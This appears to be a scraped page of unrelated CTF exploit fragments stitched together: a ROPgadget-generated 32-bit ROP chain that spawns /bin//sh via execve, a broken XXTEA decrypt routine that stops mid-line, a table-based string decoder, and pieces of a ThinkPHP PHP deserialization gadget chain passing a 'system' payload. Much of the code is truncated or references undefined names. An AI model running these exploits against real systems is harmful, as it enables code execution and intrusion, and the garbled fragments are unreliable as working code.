#!/usr/bin/env python2 # execve generated by ROPgadget from struct import pack
# Padding goes here p = '' p += pack('<I', 0x08072f8b) # pop edx ; ret p += pack('<I', 0x080f5000) # @ .data p += pack('<I', 0x080c11e6) # pop eax ; ret p += '/bin' p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08072f8b) # pop edx ; ret p += pack('<I', 0x080f5004) # @ .data + 4 p += pack('<I', 0x080c11e6) # pop eax ; ret p += '//sh' p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08072f8b) # pop edx ; ret p += pack('<I', 0x080f5008) # @ .data + 8 p += pack('<I', 0x080569a0) # xor eax, eax ; ret p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481d9) # pop ebx ; ret p += pack('<I', 0x080f5000) # @ .data p += pack('<I', 0x08072fb2) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080f5008) # @ .data + 8 p += pack('<I', 0x080f5000) # padding without overwrite ebx p += pack('<I', 0x08072f8b) # pop edx ; ret p += pack('<I', 0x080f5008) # @ .data + 8 p += pack('<I', 0x080569a0) # xor eax, eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x0808041a) # inc eax ; ret p += pack('<I', 0x08049903) # int 0x80
def _long2str(v, w): n = (len(v) - 1) << 2 if w: m = v[-1] if (m < n - 3) or (m > n): return '' n = m s = struct.pack('<%iL' % len(v), *v) return s[0:n] if w else s
def _str2long(s, w): n = len(s) m = (4 - (n & 3) & 3) + n s = s.ljust(m, "\x00") v = list(struct.unpack('<%iL' % (m >> 2), s)) if w: v.append(n) return v
def decrypt(str, key): if str == '': return str v = _str2long(str, False) k = _str2long(key.ljust(16, "\x00"), False) n = len(v) - 1 z = v[n] y = v[0] q = 6 + 52 // (n + 1) sum = (q * data) & 0xffffffff while (sum != 0): e = sum >> 2 & 3 for p in xrange(n, 0, -1): z = v
string = [] k = 0 for m in range(62): for i in range(1000): k = i % 23 p = i / 23 if table
==a[m]:
if table[k]==b[m]: string.append(i) break u = '' for i in string: u += chr(i) print u #"private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)"
public function get($system) { $this->data = array("Smi1e" => "$system"); } } } namespace think { abstract class Model { use model\concern\Attribute; use model\concern\Conversion; } }
namespace think\model{ use think\Model; class Pivot extends Model { public function __construct($system) { $this->get($system); } } }
评论